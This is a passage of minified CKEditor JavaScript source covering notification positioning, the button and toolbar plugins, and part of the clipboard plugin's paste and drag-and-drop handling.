x(t+f.width-n-r))}var b=this.element,c=this.editor,f=c.ui.contentsElement.getClientRect(),h=c.ui.contentsElement.getDocumentPosition(),l,d,k=b.getClientRect(),g,n=this._notificationWidth,r=this._notificationMargin;g=CKEDITOR.document.getWindow();var w=g.getScrollPosition(),q=g.getViewPaneSize(),p=CKEDITOR.document.getBody(),u=p.getDocumentPosition(),x=CKEDITOR.tools.cssLength;n&&r||(g=this.element.getChild(0),n=this._notificationWidth=g.getClientRect().width,r=this._notificationMargin=parseInt(g.getComputedStyle("margin-left"),
10)+parseInt(g.getComputedStyle("margin-right"),10));c.toolbar&&(l=c.ui.space(c.config.toolbarLocation),d=l.getClientRect());l&&l.isVisible()&&d.bottom>f.top&&d.bottom<f.bottom-k.height?b.setStyles({position:"fixed",top:x(d.bottom)}):0<f.top?b.setStyles({position:"absolute",top:x(h.y)}):h.y+f.height-k.height>w.y?b.setStyles({position:"fixed",top:0}):b.setStyles({position:"absolute",top:x(h.y+f.height-k.height)});var t="fixed"==b.getStyle("position")?f.left:"static"!=p.getComputedStyle("position")?
h.x-u.x:h.x;f.width<n+r?h.x+n+r>w.x+q.width?a():b.setStyle("left",x(t)):h.x+n+r>w.x+q.width?b.setStyle("left",x(t)):h.x+f.width/2+n/2+r>w.x+q.width?b.setStyle("left",x(t-h.x+w.x+q.width-n-r)):0>f.left+f.width-n-r?a():0>f.left+f.width/2-n/2?b.setStyle("left",x(t-h.x+w.x)):b.setStyle("left",x(t+f.width/2-n/2-r/2))}};CKEDITOR.plugins.notification=a})();(function(){var a='\x3ca id\x3d"{id}" class\x3d"cke_button cke_button__{name} cke_button_{state} {cls}"'+(CKEDITOR.env.gecko&&!CKEDITOR.env.hc?"":" href\x3d\"javascript:void('{titleJs}')\"")+
' title\x3d"{title}" tabindex\x3d"-1" hidefocus\x3d"true" role\x3d"button" aria-labelledby\x3d"{id}_label" aria-describedby\x3d"{id}_description" aria-haspopup\x3d"{hasArrow}" aria-disabled\x3d"{ariaDisabled}"';CKEDITOR.env.gecko&&CKEDITOR.env.mac&&(a+=' onkeypress\x3d"return false;"');CKEDITOR.env.gecko&&(a+=' onblur\x3d"this.style.cssText \x3d this.style.cssText;"');var f="";CKEDITOR.env.ie&&(f='return false;" onmouseup\x3d"CKEDITOR.tools.getMouseButton(event)\x3d\x3dCKEDITOR.MOUSE_BUTTON_LEFT\x26\x26');
var a=a+(' onkeydown\x3d"return CKEDITOR.tools.callFunction({keydownFn},event);" onfocus\x3d"return CKEDITOR.tools.callFunction({focusFn},event);" onclick\x3d"'+f+'CKEDITOR.tools.callFunction({clickFn},this);return false;"\x3e\x3cspan class\x3d"cke_button_icon cke_button__{iconName}_icon" style\x3d"{style}"')+'\x3e\x26nbsp;\x3c/span\x3e\x3cspan id\x3d"{id}_label" class\x3d"cke_button_label cke_button__{name}_label" aria-hidden\x3d"false"\x3e{label}\x3c/span\x3e\x3cspan id\x3d"{id}_description" class\x3d"cke_button_label" aria-hidden\x3d"false"\x3e{ariaShortcut}\x3c/span\x3e{arrowHtml}\x3c/a\x3e',
e=CKEDITOR.addTemplate("buttonArrow",'\x3cspan class\x3d"cke_button_arrow"\x3e'+(CKEDITOR.env.hc?"\x26#9660;":"")+"\x3c/span\x3e"),b=CKEDITOR.addTemplate("button",a);CKEDITOR.plugins.add("button",{beforeInit:function(a){a.ui.addHandler(CKEDITOR.UI_BUTTON,CKEDITOR.ui.button.handler)}});CKEDITOR.UI_BUTTON="button";CKEDITOR.ui.button=function(a){CKEDITOR.tools.extend(this,a,{title:a.label,click:a.click||function(b){b.execCommand(a.command)}});this._={}};CKEDITOR.ui.button.handler={create:function(a){return new CKEDITOR.ui.button(a)}};
CKEDITOR.ui.button.prototype={render:function(a,f){function h(){var b=a.mode;b&&(b=this.modes[b]?void 0!==l[b]?l[b]:CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,b=a.readOnly&&!this.readOnly?CKEDITOR.TRISTATE_DISABLED:b,this.setState(b),this.refresh&&this.refresh())}var l=null,d=CKEDITOR.env,k=this._.id=CKEDITOR.tools.getNextId(),g="",n=this.command,r,w,q;this._.editor=a;var p={id:k,button:this,editor:a,focus:function(){CKEDITOR.document.getById(k).focus()},execute:function(){this.button.click(a)},
attach:function(a){this.button.attach(a)}},u=CKEDITOR.tools.addFunction(function(a){if(p.onkey)return a=new CKEDITOR.dom.event(a),!1!==p.onkey(p,a.getKeystroke())}),x=CKEDITOR.tools.addFunction(function(a){var b;p.onfocus&&(b=!1!==p.onfocus(p,new CKEDITOR.dom.event(a)));return b}),t=0;p.clickFn=r=CKEDITOR.tools.addFunction(function(){t&&(a.unlockSelection(1),t=0);p.execute();d.iOS&&a.focus()});this.modes?(l={},a.on("beforeModeUnload",function(){a.mode&&this._.state!=CKEDITOR.TRISTATE_DISABLED&&(l[a.mode]=
this._.state)},this),a.on("activeFilterChange",h,this),a.on("mode",h,this),!this.readOnly&&a.on("readOnly",h,this)):n&&(n=a.getCommand(n))&&(n.on("state",function(){this.setState(n.state)},this),g+=n.state==CKEDITOR.TRISTATE_ON?"on":n.state==CKEDITOR.TRISTATE_DISABLED?"disabled":"off");var B;if(this.directional)a.on("contentDirChanged",function(b){var d=CKEDITOR.document.getById(this._.id),e=d.getFirst();b=b.data;b!=a.lang.dir?d.addClass("cke_"+b):d.removeClass("cke_ltr").removeClass("cke_rtl");e.setAttribute("style",
CKEDITOR.skin.getIconStyle(B,"rtl"==b,this.icon,this.iconOffset))},this);n?(w=a.getCommandKeystroke(n))&&(q=CKEDITOR.tools.keystrokeToString(a.lang.common.keyboard,w)):g+="off";w=this.name||this.command;var v=null,y=this.icon;B=w;this.icon&&!/\./.test(this.icon)?(B=this.icon,y=null):(this.icon&&(v=this.icon),CKEDITOR.env.hidpi&&this.iconHiDpi&&(v=this.iconHiDpi));v?(CKEDITOR.skin.addIcon(v,v),y=null):v=B;g={id:k,name:w,iconName:B,label:this.label,cls:(this.hasArrow?"cke_button_expandable ":"")+(this.className||
""),state:g,ariaDisabled:"disabled"==g?"true":"false",title:this.title+(q?" ("+q.display+")":""),ariaShortcut:q?a.lang.common.keyboardShortcut+" "+q.aria:"",titleJs:d.gecko&&!d.hc?"":(this.title||"").replace("'",""),hasArrow:"string"===typeof this.hasArrow&&this.hasArrow||(this.hasArrow?"true":"false"),keydownFn:u,focusFn:x,clickFn:r,style:CKEDITOR.skin.getIconStyle(v,"rtl"==a.lang.dir,y,this.iconOffset),arrowHtml:this.hasArrow?e.output():""};b.output(g,f);if(this.onRender)this.onRender();return p},
setState:function(a){if(this._.state==a)return!1;this._.state=a;var b=CKEDITOR.document.getById(this._.id);return b?(b.setState(a,"cke_button"),b.setAttribute("aria-disabled",a==CKEDITOR.TRISTATE_DISABLED),this.hasArrow?b.setAttribute("aria-expanded",a==CKEDITOR.TRISTATE_ON):a===CKEDITOR.TRISTATE_ON?b.setAttribute("aria-pressed",!0):b.removeAttribute("aria-pressed"),!0):!1},getState:function(){return this._.state},toFeature:function(a){if(this._.feature)return this._.feature;var b=this;this.allowedContent||
this.requiredContent||!this.command||(b=a.getCommand(this.command)||b);return this._.feature=b}};CKEDITOR.ui.prototype.addButton=function(a,b){this.add(a,CKEDITOR.UI_BUTTON,b)}})();(function(){function a(a){function b(){for(var d=e(),g=CKEDITOR.tools.clone(a.config.toolbarGroups)||f(a),k=0;k<g.length;k++){var m=g[k];if("/"!=m){"string"==typeof m&&(m=g[k]={name:m});var p,u=m.groups;if(u)for(var x=0;x<u.length;x++)p=u[x],(p=d[p])&&l(m,p);(p=d[m.name])&&l(m,p)}}return g}function e(){var b={},d,g,f;for(d in a.ui.items)g=
a.ui.items[d],f=g.toolbar||"others",f=f.split(","),g=f[0],f=parseInt(f[1]||-1,10),b[g]||(b[g]=[]),b[g].push({name:d,order:f});for(g in b)b[g]=b[g].sort(function(a,b){return a.order==b.order?0:0>b.order?-1:0>a.order?1:a.order<b.order?-1:1});return b}function l(b,d){if(d.length){b.items?b.items.push(a.ui.create("-")):b.items=[];for(var g;g=d.shift();)g="string"==typeof g?g:g.name,k&&-1!=CKEDITOR.tools.indexOf(k,g)||(g=a.ui.create(g))&&a.addFeature(g)&&b.items.push(g)}}function d(a){var b=[],d,c,g;for(d=
0;d<a.length;++d)c=a[d],g={},"/"==c?b.push(c):CKEDITOR.tools.isArray(c)?(l(g,CKEDITOR.tools.clone(c)),b.push(g)):c.items&&(l(g,CKEDITOR.tools.clone(c.items)),g.name=c.name,b.push(g));return b}var k=a.config.removeButtons,k=k&&k.split(","),g=a.config.toolbar;"string"==typeof g&&(g=a.config["toolbar_"+g]);return a.toolbar=g?d(g):b()}function f(a){return a._.toolbarGroups||(a._.toolbarGroups=[{name:"document",groups:["mode","document","doctools"]},{name:"clipboard",groups:["clipboard","undo"]},{name:"editing",
groups:["find","selection","spellchecker"]},{name:"forms"},"/",{name:"basicstyles",groups:["basicstyles","cleanup"]},{name:"paragraph",groups:["list","indent","blocks","align","bidi"]},{name:"links"},{name:"insert"},"/",{name:"styles"},{name:"colors"},{name:"tools"},{name:"others"},{name:"about"}])}var e=function(){this.toolbars=[];this.focusCommandExecuted=!1};e.prototype.focus=function(){for(var a=0,b;b=this.toolbars[a++];)for(var e=0,f;f=b.items[e++];)if(f.focus){f.focus();return}};var b={modes:{wysiwyg:1,
source:1},readOnly:1,exec:function(a){a.toolbox&&(a.toolbox.focusCommandExecuted=!0,CKEDITOR.env.ie||CKEDITOR.env.air?setTimeout(function(){a.toolbox.focus()},100):a.toolbox.focus())}};CKEDITOR.plugins.add("toolbar",{requires:"button",init:function(c){var f,h=function(a,b){var e,g="rtl"==c.lang.dir,n=c.config.toolbarGroupCycling,r=g?37:39,g=g?39:37,n=void 0===n||n;switch(b){case 9:case CKEDITOR.SHIFT+9:for(;!e||!e.items.length;)if(e=9==b?(e?e.next:a.toolbar.next)||c.toolbox.toolbars[0]:(e?e.previous:
a.toolbar.previous)||c.toolbox.toolbars[c.toolbox.toolbars.length-1],e.items.length)for(a=e.items[f?e.items.length-1:0];a&&!a.focus;)(a=f?a.previous:a.next)||(e=0);a&&a.focus();return!1;case r:e=a;do e=e.next,!e&&n&&(e=a.toolbar.items[0]);while(e&&!e.focus);e?e.focus():h(a,9);return!1;case 40:return a.button&&a.button.hasArrow?a.execute():h(a,40==b?r:g),!1;case g:case 38:e=a;do e=e.previous,!e&&n&&(e=a.toolbar.items[a.toolbar.items.length-1]);while(e&&!e.focus);e?e.focus():(f=1,h(a,CKEDITOR.SHIFT+
9),f=0);return!1;case 27:return c.focus(),!1;case 13:case 32:return a.execute(),!1}return!0};c.on("uiSpace",function(b){if(b.data.space==c.config.toolbarLocation){b.removeListener();c.toolbox=new e;var d=CKEDITOR.tools.getNextId(),f=['\x3cspan id\x3d"',d,'" class\x3d"cke_voice_label"\x3e',c.lang.toolbar.toolbars,"\x3c/span\x3e",'\x3cspan id\x3d"'+c.ui.spaceId("toolbox")+'" class\x3d"cke_toolbox" role\x3d"group" aria-labelledby\x3d"',d,'" onmousedown\x3d"return false;"\x3e'],d=!1!==c.config.toolbarStartupExpanded,
g,n;c.config.toolbarCanCollapse&&c.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE&&f.push('\x3cspan class\x3d"cke_toolbox_main"'+(d?"\x3e":' style\x3d"display:none"\x3e'));for(var m=c.toolbox.toolbars,w=a(c),q=w.length,p=0;p<q;p++){var u,x=0,t,B=w[p],v="/"!==B&&("/"===w[p+1]||p==q-1),y;if(B)if(g&&(f.push("\x3c/span\x3e"),n=g=0),"/"===B)f.push('\x3cspan class\x3d"cke_toolbar_break"\x3e\x3c/span\x3e');else{y=B.items||B;for(var z=0;z<y.length;z++){var A=y[z],D;if(A){var G=function(a){a=a.render(c,f);E=x.items.push(a)-
1;0<E&&(a.previous=x.items[E-1],a.previous.next=a);a.toolbar=x;a.onkey=h;a.onfocus=function(){c.toolbox.focusCommandExecuted||c.focus()}};if(A.type==CKEDITOR.UI_SEPARATOR)n=g&&A;else{D=!1!==A.canGroup;if(!x){u=CKEDITOR.tools.getNextId();x={id:u,items:[]};t=B.name&&(c.lang.toolbar.toolbarGroups[B.name]||B.name);f.push('\x3cspan id\x3d"',u,'" class\x3d"cke_toolbar'+(v?' cke_toolbar_last"':'"'),t?' aria-labelledby\x3d"'+u+'_label"':"",' role\x3d"toolbar"\x3e');t&&f.push('\x3cspan id\x3d"',u,'_label" class\x3d"cke_voice_label"\x3e',
t,"\x3c/span\x3e");f.push('\x3cspan class\x3d"cke_toolbar_start"\x3e\x3c/span\x3e');var E=m.push(x)-1;0<E&&(x.previous=m[E-1],x.previous.next=x)}D?g||(f.push('\x3cspan class\x3d"cke_toolgroup" role\x3d"presentation"\x3e'),g=1):g&&(f.push("\x3c/span\x3e"),g=0);n&&(G(n),n=0);G(A)}}}g&&(f.push("\x3c/span\x3e"),n=g=0);x&&f.push('\x3cspan class\x3d"cke_toolbar_end"\x3e\x3c/span\x3e\x3c/span\x3e')}}c.config.toolbarCanCollapse&&f.push("\x3c/span\x3e");if(c.config.toolbarCanCollapse&&c.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE){var J=
CKEDITOR.tools.addFunction(function(){c.execCommand("toolbarCollapse")});c.on("destroy",function(){CKEDITOR.tools.removeFunction(J)});c.addCommand("toolbarCollapse",{readOnly:1,exec:function(a){var b=a.ui.space("toolbar_collapser"),d=b.getPrevious(),c=a.ui.space("contents"),e=d.getParent(),g=parseInt(c.$.style.height,10),f=e.$.offsetHeight,h=b.hasClass("cke_toolbox_collapser_min");h?(d.show(),b.removeClass("cke_toolbox_collapser_min"),b.setAttribute("title",a.lang.toolbar.toolbarCollapse)):(d.hide(),
b.addClass("cke_toolbox_collapser_min"),b.setAttribute("title",a.lang.toolbar.toolbarExpand));b.getFirst().setText(h?"▲":"◀");c.setStyle("height",g-(e.$.offsetHeight-f)+"px");a.fire("resize",{outerHeight:a.container.$.offsetHeight,contentsHeight:c.$.offsetHeight,outerWidth:a.container.$.offsetWidth})},modes:{wysiwyg:1,source:1}});c.setKeystroke(CKEDITOR.ALT+(CKEDITOR.env.ie||CKEDITOR.env.webkit?189:109),"toolbarCollapse");f.push('\x3ca title\x3d"'+(d?c.lang.toolbar.toolbarCollapse:c.lang.toolbar.toolbarExpand)+
'" id\x3d"'+c.ui.spaceId("toolbar_collapser")+'" tabIndex\x3d"-1" class\x3d"cke_toolbox_collapser');d||f.push(" cke_toolbox_collapser_min");f.push('" onclick\x3d"CKEDITOR.tools.callFunction('+J+')"\x3e','\x3cspan class\x3d"cke_arrow"\x3e\x26#9650;\x3c/span\x3e',"\x3c/a\x3e")}f.push("\x3c/span\x3e");b.data.html+=f.join("")}});c.on("destroy",function(){if(this.toolbox){var a,b=0,c,e,f;for(a=this.toolbox.toolbars;b<a.length;b++)for(e=a[b].items,c=0;c<e.length;c++)f=e[c],f.clickFn&&CKEDITOR.tools.removeFunction(f.clickFn),
f.keyDownFn&&CKEDITOR.tools.removeFunction(f.keyDownFn)}});c.on("uiReady",function(){var a=c.ui.space("toolbox");a&&c.focusManager.add(a,1)});c.addCommand("toolbarFocus",b);c.setKeystroke(CKEDITOR.ALT+121,"toolbarFocus");c.ui.add("-",CKEDITOR.UI_SEPARATOR,{});c.ui.addHandler(CKEDITOR.UI_SEPARATOR,{create:function(){return{render:function(a,b){b.push('\x3cspan class\x3d"cke_toolbar_separator" role\x3d"separator"\x3e\x3c/span\x3e');return{}}}}})}});CKEDITOR.ui.prototype.addToolbarGroup=function(a,b,
e){var l=f(this.editor),d=0===b,k={name:a};if(e){if(e=CKEDITOR.tools.search(l,function(a){return a.name==e})){!e.groups&&(e.groups=[]);if(b&&(b=CKEDITOR.tools.indexOf(e.groups,b),0<=b)){e.groups.splice(b+1,0,a);return}d?e.groups.splice(0,0,a):e.groups.push(a);return}b=null}b&&(b=CKEDITOR.tools.indexOf(l,function(a){return a.name==b}));d?l.splice(0,0,a):"number"==typeof b?l.splice(b+1,0,k):l.push(a)}})();CKEDITOR.UI_SEPARATOR="separator";CKEDITOR.config.toolbarLocation="top";"use strict";(function(){function a(a,
b,d){b.type||(b.type="auto");if(d&&!1===a.fire("beforePaste",b)||!b.dataValue&&b.dataTransfer.isEmpty())return!1;b.dataValue||(b.dataValue="");if(CKEDITOR.env.gecko&&"drop"==b.method&&a.toolbox)a.once("afterPaste",function(){a.toolbox.focus()});return a.fire("paste",b)}function f(b){function d(){var a=b.editable();if(CKEDITOR.plugins.clipboard.isCustomCopyCutSupported){var c=function(a){b.getSelection().isCollapsed()||(b.readOnly&&"cut"==a.name||D.initPasteDataTransfer(a,b),a.data.preventDefault())};
a.on("copy",c);a.on("cut",c);a.on("cut",function(){b.readOnly||b.extractSelectedHtml()},null,null,999)}a.on(D.mainPasteEvent,function(a){"beforepaste"==D.mainPasteEvent&&G||y(a)});"beforepaste"==D.mainPasteEvent&&(a.on("paste",function(a){E||(f(),a.data.preventDefault(),y(a),k("paste"))}),a.on("contextmenu",h,null,null,0),a.on("beforepaste",function(a){!a.data||a.data.$.ctrlKey||a.data.$.shiftKey||h()},null,null,0));a.on("beforecut",function(){!G&&l(b)});var e;a.attachListener(CKEDITOR.env.ie?a:b.document.getDocumentElement(),
"mouseup",function(){e=setTimeout(z,0)});b.on("destroy",function(){clearTimeout(e)});a.on("keyup",z)}function c(a){return{type:a,canUndo:"cut"==a,startDisabled:!0,fakeKeystroke:"cut"==a?CKEDITOR.CTRL+88:CKEDITOR.CTRL+67,exec:function(){"cut"==this.type&&l();var a;var d=this.type;if(CKEDITOR.env.ie)a=k(d);else try{a=b.document.$.execCommand(d,!1,null)}catch(c){a=!1}a||b.showNotification(b.lang.clipboard[this.type+"Error"]);return a}}}function e(){return{canUndo:!1,async:!0,fakeKeystroke:CKEDITOR.CTRL+
86,exec:function(b,d){function c(d,f){f="undefined"!==typeof f?f:!0;d?(d.method="paste",d.dataTransfer||(d.dataTransfer=D.initPasteDataTransfer()),a(b,d,f)):g&&!b._.forcePasteDialog&&b.showNotification(k,"info",b.config.clipboard_notificationDuration);b._.forcePasteDialog=!1;b.fire("afterCommandExec",{name:"paste",command:e,returnValue:!!d})}d="undefined"!==typeof d&&null!==d?d:{};var e=this,g="undefined"!==typeof d.notification?d.notification:!0,f=d.type,h=CKEDITOR.tools.keystrokeToString(b.lang.common.keyboard,
b.getCommandKeystroke(this)),k="string"===typeof g?g:b.lang.clipboard.pasteNotification.replace(/%1/,'\x3ckbd aria-label\x3d"'+h.aria+'"\x3e'+h.display+"\x3c/kbd\x3e"),h="string"===typeof d?d:d.dataValue;f&&!0!==b.config.forcePasteAsPlainText&&"allow-word"!==b.config.forcePasteAsPlainText?b._.nextPasteType=f:delete b._.nextPasteType;"string"===typeof h?c({dataValue:h}):b.getClipboardData(c)}}}function f(){E=1;setTimeout(function(){E=0},100)}function h(){G=1;setTimeout(function(){G=0},10)}function k(a){var d=
b.document,c=d.getBody(),e=!1,f=function(){e=!0};c.on(a,f);7<CKEDITOR.env.version?d.$.execCommand(a):d.$.selection.createRange().execCommand(a);c.removeListener(a,f);return e}function l(){if(CKEDITOR.env.ie&&!CKEDITOR.env.quirks){var a=b.getSelection(),d,c,e;a.getType()==CKEDITOR.SELECTION_ELEMENT&&(d=a.getSelectedElement())&&(c=a.getRanges()[0],e=b.document.createText(""),e.insertBefore(d),c.setStartBefore(e),c.setEndAfter(d),a.selectRanges([c]),setTimeout(function(){d.getParent()&&(e.remove(),a.selectElement(d))},
0))}}function m(a,d){var c=b.document,e=b.editable(),f=function(a){a.cancel()},h;if(!c.getById("cke_pastebin")){var k=b.getSelection(),l=k.createBookmarks();CKEDITOR.env.ie&&k.root.fire("selectionchange");var n=new CKEDITOR.dom.element(!CKEDITOR.env.webkit&&!e.is("body")||CKEDITOR.env.ie?"div":"body",c);n.setAttributes({id:"cke_pastebin","data-cke-temp":"1"});var t=0,c=c.getWindow();CKEDITOR.env.webkit?(e.append(n),n.addClass("cke_editable"),e.is("body")||(t="static"!=e.getComputedStyle("position")?
e:CKEDITOR.dom.element.get(e.$.offsetParent),t=t.getDocumentPosition().y)):e.getAscendant(CKEDITOR.env.ie?"body":"html",1).append(n);n.setStyles({position:"absolute",top:c.getScrollPosition().y-t+10+"px",width:"1px",height:Math.max(1,c.getViewPaneSize().height-20)+"px",overflow:"hidden",margin:0,padding:0});CKEDITOR.env.safari&&n.setStyles(CKEDITOR.tools.cssVendorPrefix("user-select","text"));(t=n.getParent().isReadOnly())?(n.setOpacity(0),n.setAttribute("contenteditable",!0)):n.setStyle("ltr"==b.config.contentsLangDirection?
"left":"right","-10000px");b.on("selectionChange",f,null,null,0);if(CKEDITOR.env.webkit||CKEDITOR.env.gecko)h=e.once("blur",f,null,null,-100);t&&n.focus();t=new CKEDITOR.dom.range(n);t.selectNodeContents(n);var u=t.select();CKEDITOR.env.ie&&(h=e.once("blur",function(){b.lockSelection(u)}));var x=CKEDITOR.document.getWindow().getScrollPosition().y;setTimeout(function(){CKEDITOR.env.webkit&&(CKEDITOR.document.getBody().$.scrollTop=x);h&&h.removeListener();CKEDITOR.env.ie&&e.focus();k.selectBookmarks(l);
n.remove();var a;CKEDITOR.env.webkit&&(a=n.getFirst())&&a.is&&a.hasClass("Apple-style-span")&&(n=a);b.removeListener("selectionChange",f);d(n.getHtml())},0)}}function B(){if("paste"==D.mainPasteEvent)return b.fire("beforePaste",{type:"auto",method:"paste"}),!1;b.focus();f();var a=b.focusManager;a.lock();if(b.editable().fire(D.mainPasteEvent)&&!k("paste"))return a.unlock(),!1;a.unlock();return!0}function v(a){if("wysiwyg"==b.mode)switch(a.data.keyCode){case CKEDITOR.CTRL+86:case CKEDITOR.SHIFT+45:a=
b.editable();f();"paste"==D.mainPasteEvent&&a.fire("beforepaste");break;case CKEDITOR.CTRL+88:case CKEDITOR.SHIFT+46:b.fire("saveSnapshot"),setTimeout(function(){b.fire("saveSnapshot")},50)}}function y(d){var c={type:"auto",method:"paste",dataTransfer:D.initPasteDataTransfer(d)};c.dataTransfer.cacheData();var e=!1!==b.fire("beforePaste",c);e&&D.canClipboardApiBeTrusted(c.dataTransfer,b)?(d.data.preventDefault(),setTimeout(function(){a(b,c)},0)):m(d,function(d){c.dataValue=d.replace(/<span[^>]+data-cke-bookmark[^<]*?<\/span>/ig,
"");e&&a(b,c)})}function z(){if("wysiwyg"==b.mode){var a=A("paste");b.getCommand("cut").setState(A("cut"));b.getCommand("copy").setState(A("copy"));b.getCommand("paste").setState(a);b.fire("pasteState",a)}}function A(a){var d=b.getSelection(),d=d&&d.getRanges()[0];if((b.readOnly||d&&d.checkReadOnly())&&a in{paste:1,cut:1})return CKEDITOR.TRISTATE_DISABLED;if("paste"==a)return CKEDITOR.TRISTATE_OFF;a=b.getSelection();d=a.getRanges();return a.getType()==CKEDITOR.SELECTION_NONE||1==d.length&&d[0].collapsed?
CKEDITOR.TRISTATE_DISABLED:CKEDITOR.TRISTATE_OFF}var D=CKEDITOR.plugins.clipboard,G=0,E=0;(function(){b.on("key",v);b.on("contentDom",d);b.on("selectionChange",z);if(b.contextMenu){b.contextMenu.addListener(function(){return{cut:A("cut"),copy:A("copy"),paste:A("paste")}});var a=null;b.on("menuShow",function(){a&&(a.removeListener(),a=null);var d=b.contextMenu.findItemByCommandName("paste");d&&d.element&&(a=d.element.on("touchend",function(){b._.forcePasteDialog=!0}))})}if(b.ui.addButton)b.once("instanceReady",
function(){b._.pasteButtons&&CKEDITOR.tools.array.forEach(b._.pasteButtons,function(a){if(a=b.ui.get(a))if(a=CKEDITOR.document.getById(a._.id))a.on("touchend",function(){b._.forcePasteDialog=!0})})})})();(function(){function a(d,c,e,f,h){var k=b.lang.clipboard[c];b.addCommand(c,e);b.ui.addButton&&b.ui.addButton(d,{label:k,command:c,toolbar:"clipboard,"+f});b.addMenuItems&&b.addMenuItem(c,{label:k,command:c,group:"clipboard",order:h})}a("Cut","cut",c("cut"),10,1);a("Copy","copy",c("copy"),20,4);a("Paste",
"paste",e(),30,8);b._.pasteButtons||(b._.pasteButtons=[]);b._.pasteButtons.push("Paste")})();b.getClipboardData=function(a,d){function c(a){a.removeListener();a.cancel();d(a.data)}function e(a){a.removeListener();a.cancel();d({type:h,dataValue:a.data.dataValue,dataTransfer:a.data.dataTransfer,method:"paste"})}var f=!1,h="auto";d||(d=a,a=null);b.on("beforePaste",function(a){a.removeListener();f=!0;h=a.data.type},null,null,1E3);b.on("paste",c,null,null,0);!1===B()&&(b.removeListener("paste",c),b._.forcePasteDialog&&
f&&b.fire("pasteDialog")?(b.on("pasteDialogCommit",e),b.on("dialogHide",function(a){a.removeListener();a.data.removeListener("pasteDialogCommit",e);a.data._.committed||d(null)})):d(null))}}function e(a){if(CKEDITOR.env.webkit){if(!a.match(/^[^<]*$/g)&&!a.match(/^(<div><br( ?\/)?><\/div>|<div>[^<]*<\/div>)*$/gi))return"html"}else if(CKEDITOR.env.ie){if(!a.match(/^([^<]|<br( ?\/)?>)*$/gi)&&!a.match(/^(<p>([^<]|<br( ?\/)?>)*<\/p>|(\r\n))*$/gi))return"html"}else if(CKEDITOR.env.gecko){if(!a.match(/^([^<]|<br( ?\/)?>)*$/gi))return"html"}else return"html";
return"htmlifiedtext"}function b(a,b){function d(a){return CKEDITOR.tools.repeat("\x3c/p\x3e\x3cp\x3e",~~(a/2))+(1==a%2?"\x3cbr\x3e":"")}b=b.replace(/(?!\u3000)\s+/g," ").replace(/> +</g,"\x3e\x3c").replace(/<br ?\/>/gi,"\x3cbr\x3e");b=b.replace(/<\/?[A-Z]+>/g,function(a){return a.toLowerCase()});if(b.match(/^[^<]$/))return b;CKEDITOR.env.webkit&&-1<b.indexOf("\x3cdiv\x3e")&&(b=b.replace(/^(<div>(<br>|)<\/div>)(?!$|(<div>(<br>|)<\/div>))/g,"\x3cbr\x3e").replace(/^(<div>(<br>|)<\/div>){2}(?!$)/g,"\x3cdiv\x3e\x3c/div\x3e"),
b.match(/<div>(<br>|)<\/div>/)&&(b="\x3cp\x3e"+b.replace(/(<div>(<br>|)<\/div>)+/g,function(a){return d(a.split("\x3c/div\x3e\x3cdiv\x3e").length+1)})+"\x3c/p\x3e"),b=b.replace(/<\/div><div>/g,"\x3cbr\x3e"),b=b.replace(/<\/?div>/g,""));CKEDITOR.env.gecko&&a.enterMode!=CKEDITOR.ENTER_BR&&(CKEDITOR.env.gecko&&(b=b.replace(/^<br><br>$/,"\x3cbr\x3e")),-1<b.indexOf("\x3cbr\x3e\x3cbr\x3e")&&(b="\x3cp\x3e"+b.replace(/(<br>){2,}/g,function(a){return d(a.length/4)})+"\x3c/p\x3e"));return h(a,b)}function c(a){function b(){var a=
{},d;for(d in CKEDITOR.dtd)"$"!=d.charAt(0)&&"div"!=d&&"span"!=d&&(a[d]=1);return a}var d={};return{get:function(c){return"plain-text"==c?d.plainText||(d.plainText=new CKEDITOR.filter(a,"br")):"semantic-content"==c?((c=d.semanticContent)||(c=new CKEDITOR.filter(a,{}),c.allow({$1:{elements:b(),attributes:!0,styles:!1,classes:!1}}),c=d.semanticContent=c),c):c?new CKEDITOR.filter(a,c):null}}}function m(a,b,d){b=CKEDITOR.htmlParser.fragment.fromHtml(b);var c=new CKEDITOR.htmlParser.basicWriter;d.applyTo(b,
!0,!1,a.activeEnterMode);b.writeHtml(c);return c.getHtml()}function h(a,b){a.enterMode==CKEDITOR.ENTER_BR?b=b.replace(/(<\/p><p>)+/g,function(a){return CKEDITOR.tools.repeat("\x3cbr\x3e",a.length/7*2)}).replace(/<\/?p>/g,""):a.enterMode==CKEDITOR.ENTER_DIV&&(b=b.replace(/<(\/)?p>/g,"\x3c$1div\x3e"));return b}function l(a){a.data.preventDefault();a.data.$.dataTransfer.dropEffect="none"}function d(b){var d=CKEDITOR.plugins.clipboard;b.on("contentDom",function(){function c(d,e,f){e.select();a(b,{dataTransfer:f,
method:"drop"},1);f.sourceEditor.fire("saveSnapshot");f.sourceEditor.editable().extractHtmlFromRange(d);f.sourceEditor.getSelection().selectRanges([d]);f.sourceEditor.fire("saveSnapshot")}function e(c,f){c.select();a(b,{dataTransfer:f,method:"drop"},1);d.resetDragDataTransfer()}function f(a,d,c){var e={$:a.data.$,target:a.data.getTarget()};d&&(e.dragRange=d);c&&(e.dropRange=c);!1===b.fire(a.name,e)&&a.data.preventDefault()}function h(a){a.type!=CKEDITOR.NODE_ELEMENT&&(a=a.getParent());return a.getChildCount()}
var k=b.editable(),l=CKEDITOR.plugins.clipboard.getDropTarget(b),m=b.ui.space("top"),B=b.ui.space("bottom");d.preventDefaultDropOnElement(m);d.preventDefaultDropOnElement(B);k.attachListener(l,"dragstart",f);k.attachListener(b,"dragstart",d.resetDragDataTransfer,d,null,1);k.attachListener(b,"dragstart",function(a){d.initDragDataTransfer(a,b)},null,null,2);k.attachListener(b,"dragstart",function(){var a=d.dragRange=b.getSelection().getRanges()[0];CKEDITOR.env.ie&&10>CKEDITOR.env.version&&(d.dragStartContainerChildCount=
a?h(a.startContainer):null,d.dragEndContainerChildCount=a?h(a.endContainer):null)},null,null,100);k.attachListener(l,"dragend",f);k.attachListener(b,"dragend",d.initDragDataTransfer,d,null,1);k.attachListener(b,"dragend",d.resetDragDataTransfer,d,null,100);k.attachListener(l,"dragover",function(a){if(CKEDITOR.env.edge)a.data.preventDefault();else{var b=a.data.getTarget();b&&b.is&&b.is("html")?a.data.preventDefault():CKEDITOR.env.ie&&CKEDITOR.plugins.clipboard.isFileApiSupported&&a.data.$.dataTransfer.types.contains("Files")&&
